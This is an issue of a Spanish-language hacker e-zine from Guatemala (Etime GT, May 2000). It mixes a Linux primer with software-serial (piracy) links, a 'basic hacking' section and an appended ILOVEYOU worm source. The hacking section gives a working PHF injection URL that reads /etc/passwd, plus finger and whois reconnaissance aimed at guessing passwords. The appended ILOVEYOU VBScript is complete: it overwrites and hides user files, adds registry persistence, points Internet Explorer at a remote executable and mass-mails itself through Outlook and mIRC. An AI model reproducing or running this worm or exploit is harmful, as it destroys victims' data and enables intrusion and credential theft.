Etime Guatenmala 8

Quincena 8.00 Edición # 8.15.05.00

eZine lover (@eZine)

Published in 

EtimeGT

 · 2 years ago

INDICE (15.05.2000)

1. Editorial
2. Quieres los numeros anteriores
   
3. Sección Linux
   
4. Sección Serials 2000
   
5. Software de lo ¡Mejor!
6. Algo de manuales
   
7. Algo de Hacking muy Basico
   
8. Estamos en busca de Programadores
   
9. Creditos
   

Si tienes algún buen tip, táctica, reportaje o cualquier cosa que quieras publicar, escríbenos a etimegt@intelnet.net.gt. También si esta edición no llega bien a tu mail repórtalo...

1. Editorial

Que tal mis amigos Etimegt aDictos estamos ya en la edición numero 8 y aun trabajando para ustedes, estos ultimos dias he encontrado muchas nuevas e-zines pero ninguna más que sea de mi pais Guatemala, yo invito a todos mis compatriotas a entrar a este mundo de las e-zines, no tiene que ser exactamente de hacking cracking o phreacking tambien puede ser de deportes, porno, mp3, o cualquier cosilla que quieran lo que importa es que llevemos en alto el nombre de nuestra patria, bueno despues de este discursillo tan solemne :-) pasemos a nuestra revista y espero que la disfruten.

Adjunto el codigo fuente del virus ILOVEYOU en *zip

2. Sección Linux (curso Online)

Pedid y se os dara...

Sabias palabras del creador, pues bien en la anterior revista solicitabamos a quien se encargara de la seccion linux y bien ya tenemos a un experto en la materia que poco a poco nos adentrara en el mundo linux, su nombre es: Mr.Nuk3m que despues de algunos mails de negociación estamos trabajando hombro con hombro. y aqui te presentamos la nueva seccion linux (curso online)

Capitulo 1

CARACTERISTICA DEL SISTEMA OPERATIVO LINUX
En este capitulo vamos a describir las caracteristicas del S.O. Linux. Es importante conocer estas caracteristicas ya que explican porque Linux es un sistema tan potente, versatil y nos daran una amplia vision de algunas de las caracteristicas internas importantes del sistema. Tambien se describira el hardware sobre el cual se puede ejecutar Linux y los distintos dispositivos de entrada/salida que son soportados por el sistema. Todo lo tratado en este capitulo es aplicable al sistema Linux sobre plataformas de la familia Intel 80386 y superiores. El nucle analizado es la version 2.2.5.

PRINCIPALES CARACTERISTICAS

Linux es un sistema operativo completo multiusuario con multitarea real.

Esto significa que sobre una misma maquina con el S.O. Linux pueden estar trabajando varias personas simultaneamente y a su vez cada persona puede estar ejecutando varios procesos. Linux es un S.O. de 32 bits desarrollado para la plataforma Intel 80386. Fue realizado aprovechando las caracteristicas de modo protegido de este procesador. Asi fue posible implementar la multitarea real y otras caracteristicas como memoria virtual y ejecutables con carga de paginas por demanda. Linux es tan robusto y completo que es capaz de ser utilizado en maquinas en las universidades hasta en largas corporaciones en las cuales trabajan cientos de personas al mismo tiempo. El codigo del nucleo de Linux fue realizado pensado en ser compatible con los estandares de POXIS2 de Unix y otros. Esto quiere decir que es totalmente compatible con la mayoria de los sistemas Unix comerciales y gratituos que existen en la actualidad. De esta forma la mayoria del software desarrollado para otras versiones de Unix funciona perfectamente sobre Linux. El nucle es capaz de emular por su cuenta las instrucciones del coprocesador matematico 80387, con lo que cualquier maquina 80386 sin coprocesador podra ejecutar, sobre Linux, aplicaciones que requieran de estas instrucciones. En maquina 80486, no es necesario que el nucle emule estas instrucciones ya que el coprocesador se encuentra instalado en hardware como parte del procesador.

Otra caracteristica muy importante del sistema es la memoria virtual, que permite que se puedan ejecutar programas que utilizan mas memoria de la disponible y que es fundamentalmente necesaria para soportar la multitarea. Ademas se soportan ejecutables con paginacion por demanda, esto significa que solo las paginas necesarias son cargadas en memoria en cada momento, utilizando asi mas efectivamente la memoria del sistema. Relacionado con esto se encuentra el concepto de area de intercambio o "SWAP" la cual se utiliza para almacenar temporariamente informacion que no se puede matener en memoria porque esta no alcanza. Esta area de intercambio es imprescindible en maquinas que tiene muy poca memoria.

Fuertemente ligado a Linux, y a los sistemas Unix, esta el concepto de librerias dinamicas. Estas se utilizan para almacenar codigo compartido por varios programas en una unica libreria. Asi los programas son mas chicos y utilizan estas funciones.

LINUX Y LAS REDES
Cuando hablamos de redes, Linux es la opcion. No solo porque el trabajo en red esta altamente integrado con el sistema operativo, sino que ademas una infinidad de aplicaciones de libre distribucion se encuentran disponibles y que, mas importante aun, es totalmente robusto bajo una gran carga, lo que es un resultado de a¤os de desarrollo, testeo y correccion basados en el proyecto Open Server.
Linux tiene realizada como parte de su nucleo una implementacion completa de los protocolos de la famila TCP/IP muy eficiente y con soporte para muchos conceptos avanzados de trabajo en redes. Linux puede funcionar como servidor de WWW en Internet de forma excelente. Es mas el servidor APACHE mediante el cual se puede instalar un servidor WWW sobre Linux, es el servidor de WWW mas utilizado en Internet y en Itranets actualmente. Ademas Linux es capaz de funcionar como cliente de WWW, ya sea en una maquina conectada permanentemente a Internet o mediante modem (PPP). Esto no es lo unico que se puede realizar con un sistema Linux. Linux es capaz de actuar de servidor PROXY, ser utilizado como FIREWALL, como ROUTER avanzado o como BRIDGE (puente). Tiene soporte para alias de IP, protocolos IPX/SPX, protocolos IPv6, AppleTalk, X.25, ISDN, PPP, SLIP, PLIP, etc. A nivel aplicaciones, Linux esta acompañado de innumerables aplicaciones como lo son:

• Sendmail: Puede actuar de servidor de mail, ya sea para enviar, recibir y realizar un sin numero de tareas relativas al correo electronico. Sendmail es el servidor de mail mas utilizado en Internet.
• Ftp: Linux puede actuar como servidor o cliente de ftp (File Trasnfer Protocol). Un servidor de FTP es capaz de permitir que los clientes se conecten y recuperen archivos disponibles en el servidor.
  
• Noticias (NEWS): Existen varias implementaciones del protocolo NNTP, el cual sirve para permitir que una red de computadoras sobre Internet intercambien articulos que cubre todo tipo de topicos o tematicas.
  
• DNS (Domain Name System): Un servidor DNS tiene el trabajo de traducir los nombres utilizados en Internet como por ejempl www.linux.org en direcciones de IP. El trabajo de DNS sobre Unix/Linux lo realiza un programa llamado "NAMED".
• Telnet: Telnet es un programa que permite a una persona usar una computadora remota como si estuviera trabajando directamente sobre la misma.
  

LINUX Y LA INTERCONECCION CON OTROS SISTEMAS

Linux puede interactuar completamente con varios sistemas conocidos compartiendo archivos e impresoras en una red. Esto hace posible integrar una maquina Linux con cualquiera de los sistemas mas utilizados actualmente y permitir su total conectividad. Los sistemas con los que Linux puede ser usado para compartir recursos son los siguientes:

• Apple: Linux soporta la familia de protocolos AppleTalk. Linux permite a clientes Macintosh ver recursos de un servidor Linux, asi como otros clientes Macintosh en una red y compartir archivos e impresoras desde el servidor Linux.
• Entorno Windows: El grupo de aplicaciones SAMBA, que es provisto con el S.O. Linux, permite interactuar a un sistema Linux como servidor o cliente de maquinas con Windows 95/98, Windows NT, DOS o Windows For Workgroups.
  
• Novell Netware: A traves del protocolo IPX, Linux puede ser configurado para actuar como un servidor o un cliente NCP, y permitiendo asi servicios de archivos e impresoras en redes Novell.
  
• Entornos Unix: La manera mas conocida y eficiente de compartir archivos en entornos Unix es mediante NFS (Network File Sharing). Este protocolo fue originalmente desarrollado por Sun Microsystems. Es una de compartir archivos entre maquinas de forma que parezca que son archivos locales. Asi se puede tener una maquina totalmente funcional sin necesidad de tener un disco rigido instalado.

Si tienes preguntas envialas a etimegt@intelnet.net.gt y cada 2 ediciones seran respuestas en la sección linux

3. Serials 2000

updates

[020100] http://206.63.137.110/files/S2k.020100.zip
[021500] http://206.63.137.110/files/s2k.021500.zip
[030100] http://206.63.137.110/files/s2k.030100.zip
[031500] http://206.63.137.110/files/s2k.031500.zip
[040100] s2k.04.0100.zip
[041500] s2k.04.01500.zip
[050100] s2k.050100.zip

4. Software de lo ¡mejor!

En esta ocasión ponemos a tu juicio un nuevo buscador de mp3, que según dicen las malas lenguas es mucho mejor que napster, que creo yo que ya es mucho decir pero bueno eso te lo dejamos a ti de tarea. El nombre del programilla es Imesh

Para que tomes un punto de partida para hacer tu opinion te presentamos una tabla comparativa de los dos programillas mencionados:

Bueno con eso es suficiente para que formes algo de idea de los que te estamos hablando, pruébalo.

Imesh --> www.imesh.com
Napster --> www.napster.com

Aqui va algo para los que siempre han querido hacer su propia pagina web pero no saben ni "J" de html o JavaScript, pues bien a llegado a todos ustedes "MAMUT" es un programa de distribución gratuita que sirve para editar tu propio sitio sin tener que utilizar ningun otro programilla aparte del él ; claro uno extra para edicion de las imagenes, pero bueno eso es otra cosa. MAMUT te hara experimentar una sensación de tener a un tutor a tu lado a la hora de realizar tu sitio.

Eso es algo que probamos con este software para los principiantes en esto de los sites es muy recomendable, ya que ademas de que lo puedes bajar de su sitio oficial tambien te mandan un CD a tu casa completamente GRATIS a cualquier parte del mundo con tan solo ordenarlo AQUI

5. Algo de manuales....

Hace ya mucho tiempo me encontraba necesitado de algunos manualines para hacer algunas travesurillas, y navegando durante algunos minutos encontre unas paginas muy interesantes sobre manuales, en formatos doc, txt, y html solo para ser bajados, muy faciles de leer y comprender además de contener algunos buenos ejemplos, si te interesa esto pues visitalos en:

www.lawebdelprogramador.com
www.monografias.com
www.lomasweb.net
www.robplanet.com

6. Algo de hacking muy basico

La primera tecnica ya es muy conocida y la verdad es que tendremos suerte si nos funciona pero todavia sigue vigente y doy fe de ello :) solo hay que saber buscar y tener paciencia. Para que esto nos funcione solo tenemos que tener un navegador instalado en nuesto win95/98, por defecto suele venir el IE o sea que no podras decir que no tienes, siempre y cuando hallas instalado los paquetes extras. Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que corra sobre unix (muchos). Conectamos con un servidor en cuestion, www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le añadimos:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Como ya he dicho si todo sale bien nos aparecera el fichero de passwords del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto el PHF tiene muchas variantes por eso te aconsejo que busce algo que profundice en esta tecnica al igual que tambien busca informacion sobre el fichero passwd de unix para comprenderlo.
Finger.

La utilidad Finger, muy usada en Unix, en realidad no esta disponible en Win95/98 pero como somos Hackers nosotros si que somos capaces desde Win95/98. Finger se utiliza para obtener informacion de un servidor. Puede parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los Login's de los usuarios y empezar a adivinar sus passwords, tambien podemos vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la ultima vez que estuvo, etc...) y asi muchas cosas.
La verdad es que para usar el Finger usaremos cualquier navegador, IE o Netscape. Simplemete nos dirigimos a un url un poco especial, es un web que permite hacer Finger a cualquier host y nos deveulve los resultados.

Esto se conoce como "Finger Gateway".

El url del web es: http://www.hgp.med.umich.edu/cgi-bin/finger

Whois.

La utilidad Whois, al igual que Finger es muy comun en Unix y no esta disponible en Win95/98 pero comos somos asi de listos saldremos del apuro. Tambien sirve para pedir informacion de un servidor pero no el igual que Finger, ya que se diferencian en el tipo de informacion, el finger se suele utilizar mucho para buscar direcciones de correo mientras que el Whois, para averiguar informacion sobre un servidor en concreto.Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un host muy especial:

c:\>telnet whois.internic.net

Por supuesto Internic, una empresa privada norte ameriacana que se encarga de controlar los dominios de Internet, y podemos usar su base de datos para pedir informacion sobre un servidor. Cuando conectemos a la base de datos de Internic, escribimos "Whois nombre_del_servidor" y nos sacara la informacion. telnet InterNIC > whois aol.com

Connecting to the rs Database . . . . . . 

Connected to the rs Database 
America Online (AOL-DOM) 
12100 Sunrise Valley Drive 
Reston, Virginia 22091 
USA 

Domain Name: AOL.COM 
Administrative Contact: 
O'Donnell, David B (DBO3) PMDAtropos@AOL.COM 
703/453-4255 (FAX) 703/453-4102 
Technical Contact, Zone Contact: 
America Online (AOL-NOC) trouble@aol.net 
703-453-5862 

Billing Contact: 
Barrett, Joe (JB4302) BarrettJG@AOL.COM 
703-453-4160 (FAX) 703-453-4001 

Record last updated on 13-Mar-97. 
Record created on 22-Jun-95. 
Domain servers in listed order: 
DNS-01.AOL.COM 152.163.199.42 
DNS-02.AOL.COM 152.163.199.56 
DNS-AOL.ANS.NET 198.83.210.28

Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto es lo que nos ha sacado Internic. Al final podemos ver los dominios asociados a AOL. Pues sencillo y muy util, el whois.

Bueno esto es algo de lo más basico y sencillo en el Hacking pero para empezar esta muy bien, lo demás tiene que ser parte tuya porque un hacker no se caracteriza por que todo se lo den en las manoss sino que él tiene que aprender a arrebatarlo :)

7. Estamos en busca de ...

Etimegt esta en busca de Expertos en Visual Basic, Visual C++, Visual Fox, JavaScript, hasta en Pascal y todos los lenguajes de programación, para participar en un nuevo proyecto de TechNohData. Su participación sera reconocida en nuestra revista para poder publicar sus proyectos, paginas personales, programas comerciales, etc.

El proyecto consiste en asistirnos con una sección de programación que se dividira en Novatos, Intermedio, Expertos.

Hemos recibido cantidad de correo con preguntas especificas sobre lenguajes de programación pero no tenemos alguién que se encargue de ella.

8. Quieres los numeros anteriores

Desde ya hace mucho tiempo hemos recibido muchos mails en donde nos preguntan hacerca de los números anteriores, pues bien llego la hora de contestar eso, en la pagina oficial no se encuentran por falta de actualización, pero estamos ahora trabajando en un nuevo sitio y asi tener un archivo permanente para poder acceder a estos numeros anteriores si tienes un sitio y deseas darnos un poco de tu espacio para estas ediciones anterioes, comunicate con etimegt@etimegt.com ; Aparte de eso tenemos planeado que para nuestra 10a edición enviaremos en un *.zip todas nuestras ediciones para que todos nuestros lectores disfruten y vean como ha evolucionado etimegt. Asi que preparados ya solo faltan 2

9. Creditos

Edición y Distribución

• e-guru (etimegt@intelnet.net.gt)
• technohacker (technohacker@crosswinds.net)
• DAt-@ (datagt@crosswinds.net)
• Murdock (techno@intelnet.net.gt)

Electronics, Entretaiment, time's Guatemala es un nombre registrado por technodata Guatemala Abril del 2000
Publicación 100% chapina Todos los Derechos Reservados Guatemala Abril del 200. Prohibida la reproducción total o parcial. "Solo la lucha nos da lo que la ley nos quita"

I love You (Source Code)

============================================================================= 
eeeeeeeeeeeeeeee ttttttttttttttttt iiiii mmmmmm        mmmmmm eeeeeeeeeeeeeee 
eeeeeeeeeeeeee   ttttttttttttttttt iiiii mmmmmmm      mmmmmmm eeeeeeeeeeeee 
eeeee                 ttttttt            mmmmmmmm    mmmmmmmm eeeee 
eeeee                 ttttttt      iiiii mmmm  mmm  mmm  mmmm eeeee 
eeeeeeeeeeeeeee       ttttttt      iiiii mmmm  mmmmmmmm  mmmm eeeeeeeeeeeeeee 
eeeeeeeeeeeeeee       ttttttt      iiiii mmmm     mmm    mmmm eeeeeeeeeeeeeee 
eeeee                 ttttttt      iiiii mmmm            mmmm eeeee 
eeeee                 ttttttt      iiiii mmmm            mmmm eeeee 
eeeeeeeeeeeeee        ttttttt      iiiii mmmm            mmmm eeeeeeeeeeeee 
eeeeeeeeeeeeeeee      ttttttt      iiiii mmmm            mmmm eeeeeeeeeeeeeee 
============================================================================= 
                      gggggggggggggg  ttttttttttttttttt 
                      gggggggggggggg  ttttttttttttttttt 
                      ggggg                ttttttt 
                      ggggg                ttttttt 
                      ggggg                ttttttt 
                      ggggg   gggggg       ttttttt 
                      ggggg   gggggg       ttttttt 
                      ggggg      ggg       ttttttt 
                      ggggg      ggg       ttttttt 
                      gggggggggggggg       ttttttt 
                      gggggggggggggg       ttttttt 

                            Guatemala Mayo del 2000 

 ============================================================================ 
                                     Etime GT 
                             [www.technohacker.cjb.net] 
                               [www.technohacker.org] 
                                 [www.etimegt.com] 
    ________________________________________________________________________ 
    [E-Guru] [DAt-@] [Technohacker] [Murdock] [Mrs Nuk3m] [OxSatan] [STR] 

  A continuacion el codigo fuente del Virus "I LOVE YOU" hecho en Visual Basic 
  "SCRIPT" gracias a Digital Hackers http://www.powerhack.iwarp.com/ 

 
------------------------------------------------------------------------------- 
rem  barok -loveletter(vbe) <i hate go to school> 
rem                     by: spyder  /  ispyder@mail.com  / 
@GRAMMERSoft Group  /  Manila,Philippines 
On Error Resume Next 
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow 
eq="" 
ctr=0 
Set fso = CreateObject("Scripting.FileSystemObject") 
set file = fso.OpenTextFile(WScript.ScriptFullname,1) 
vbscopy=file.ReadAll 
main() 
sub main() 
On Error Resume Next 
dim wscr,rr 
set wscr=CreateObject("WScript.Shell") 
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout") 
if (rr>=1) then 
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout",0,"REG_DWORD" 
end if 
Set dirwin = fso.GetSpecialFolder(0) 
Set dirsystem = fso.GetSpecialFolder(1) 
Set dirtemp = fso.GetSpecialFolder(2) 
Set c = fso.GetFile(WScript.ScriptFullName) 
c.Copy(dirsystem&"\MSKernel32.vbs") 
c.Copy(dirwin&"\Win32DLL.vbs") 
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
regruns() 
html() 
spreadtoemail() 
listadriv() 
end sub 
sub regruns() 
On Error Resume Next 
Dim num,downread 
regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern 
el32",dirsystem&"\MSKernel32.vbs" 
regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService 
s\Win32DLL",dirwin&"\Win32DLL.vbs" 
downread="" 
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet 
Explorer\Download Directory") 
if (downread="") then 
downread="c:\" 
end if 
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then 
Randomize 
num = Int((4 * Rnd) + 1) 
if num = 1 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm 
hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" 
elseif num = 2 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw 
erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" 
elseif num = 3 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd 
QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" 
elseif num = 4 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD 
GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN 
-BUGSFIX.exe" 
end if 
end if 
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then 
regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN- 
BUGSFIX",downread&"\WIN-BUGSFIX.exe" 
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet 
Explorer\Main\Start Page","about:blank" 
end if 
end sub 
sub listadriv 
On Error Resume Next 
Dim d,dc,s 
Set dc = fso.Drives 
For Each d in dc 
If d.DriveType = 2 or d.DriveType=3 Then 
folderlist(d.path&"\") 
end if 
Next 
listadriv = s 
end sub 
sub infectfiles(folderspec) 
On Error Resume Next 
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 
set f = fso.GetFolder(folderspec) 
set fc = f.Files 
for each f1 in fc 
ext=fso.GetExtensionName(f1.path) 
ext=lcase(ext) 
s=lcase(f1.name) 
if (ext="vbs") or (ext="vbe") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or 
(ext="sct") or (ext="hta") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
bname=fso.GetBaseName(f1.path) 
set cop=fso.GetFile(f1.path) 
cop.copy(folderspec&"\"&bname&".vbs") 
fso.DeleteFile(f1.path) 
elseif(ext="jpg") or (ext="jpeg") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
set cop=fso.GetFile(f1.path) 
cop.copy(f1.path&".vbs") 
fso.DeleteFile(f1.path) 
elseif(ext="mp3") or (ext="mp2") then 
set mp3=fso.CreateTextFile(f1.path&".vbs") 
mp3.write vbscopy 
mp3.close 
set att=fso.GetFile(f1.path) 
att.attributes=att.attributes+2 
end if 
if (eq<>folderspec) then 
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or 
(s="script.ini") or (s="mirc.hlp") then 
set scriptini=fso.CreateTextFile(folderspec&"\script.ini") 
scriptini.WriteLine "[script]" 
scriptini.WriteLine ";mIRC Script" 
scriptini.WriteLine ";  Please dont edit this script... mIRC will 
corrupt, if mIRC will" 
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not 
run correctly. thanks" 
scriptini.WriteLine ";" 
scriptini.WriteLine ";Khaled Mardam-Bey" 
scriptini.WriteLine ";http://www.mirc.com" 
scriptini.WriteLine ";" 
scriptini.WriteLine "n0=on 1:JOIN:#:{" 
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" 
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER- 
FOR-YOU.HTM" 
scriptini.WriteLine "n3=}" 
scriptini.close 
eq=folderspec 
end if 
end if 
next 
end sub 
sub folderlist(folderspec) 
On Error Resume Next 
dim f,f1,sf 
set f = fso.GetFolder(folderspec) 
set sf = f.SubFolders 
for each f1 in sf 
infectfiles(f1.path) 
folderlist(f1.path) 
next 
end sub 
sub regcreate(regkey,regvalue) 
Set regedit = CreateObject("WScript.Shell") 
regedit.RegWrite regkey,regvalue 
end sub 
function regget(value) 
Set regedit = CreateObject("WScript.Shell") 
regget=regedit.RegRead(value) 
end function 
function fileexist(filespec) 
On Error Resume Next 
dim msg 
if (fso.FileExists(filespec)) Then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function 
function folderexist(folderspec) 
On Error Resume Next 
dim msg 
if (fso.GetFolderExists(folderspec)) then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function 
sub spreadtoemail() 
On Error Resume Next 
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad 
set regedit=CreateObject("WScript.Shell") 
set out=WScript.CreateObject("Outlook.Application") 
set mapi=out.GetNameSpace("MAPI") 
for ctrlists=1 to mapi.AddressLists.Count 
set a=mapi.AddressLists(ctrlists) 
x=1 
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) 
if (regv="") then 
regv=1 
end if 
if (int(a.AddressEntries.Count)>int(regv)) then 
for ctrentries=1 to a.AddressEntries.Count 
malead=a.AddressEntries(x) 
regad="" 
regad=regedit.RegRead 
("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) 
if (regad="") then 
set male=out.CreateItem(0) 
male.Recipients.Add(malead) 
male.Subject = "ILOVEYOU" 
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from 
me." 
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
male.Send 
regedit.RegWrite 
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" 
end if 
x=x+1 
next 
regedit.RegWrite 
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count 
else 
regedit.RegWrite 
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count 
end if 
next 
Set out=Nothing 
Set mapi=Nothing 
end sub 
sub html 
On Error Resume Next 
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@- 
@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ 
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? 
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ 
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is 
good...@-@>"&vbcrlf& _ 
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#- 
#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ 
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR- 
YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@- 
@>"&vbcrlf& _ 
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to 
read this HTML file<BR>- Please press #-#YES#-# button to Enable 
ActiveX<?-?p>"&vbcrlf& _ 
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>---------- 
z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ 
"<?-?BODY><?-?HTML>"&vbcrlf& _ 
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ 
"<!--?-??-?"&vbcrlf& _ 
"if (window.screen){var wi=screen.availWidth;var 
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo 
(wi,hi);}"&vbcrlf& _ 
"?-??-?-->"&vbcrlf& _ 
"<?-?SCRIPT>"&vbcrlf& _ 
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ 
"<!--"&vbcrlf& _ 
"on error resume next"&vbcrlf& _ 
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ 
"aw=1"&vbcrlf& _ 
"code=" 
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ 
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ 
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ 
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ 
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ 
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& 
_ 
"wri.write code4"&vbcrlf& _ 
"wri.close"&vbcrlf& _ 
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ 
"if (err.number=424) then"&vbcrlf& _ 
"aw=0"&vbcrlf& _ 
"end if"&vbcrlf& _ 
"if (aw=1) then"&vbcrlf& _ 
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ 
"window.close"&vbcrlf& _ 
"end if"&vbcrlf& _ 
"end if"&vbcrlf& _ 
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ 
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^- 
^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^- 
^MSKernel32.vbs@-@"&vbcrlf& _ 
"?-??-?-->"&vbcrlf& _ 
"<?-?SCRIPT>" 
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") 
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") 
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") 
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") 
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") 
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") 
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") 
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") 
set fso=CreateObject("Scripting.FileSystemObject") 
set c=fso.OpenTextFile(WScript.ScriptFullName,1) 
lines=Split(c.ReadAll,vbcrlf) 
l1=ubound(lines) 
for n=0 to ubound(lines) 
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) 
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) 
if (l1=n) then 
lines(n)=chr(34)+lines(n)+chr(34) 
else 
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" 
end if 
next 
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") 
b.close 
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) 
d.write dt5 
d.write join(lines,vbcrlf) 
d.write vbcrlf 
d.write dt6 
d.close 
end sub 
==============================================================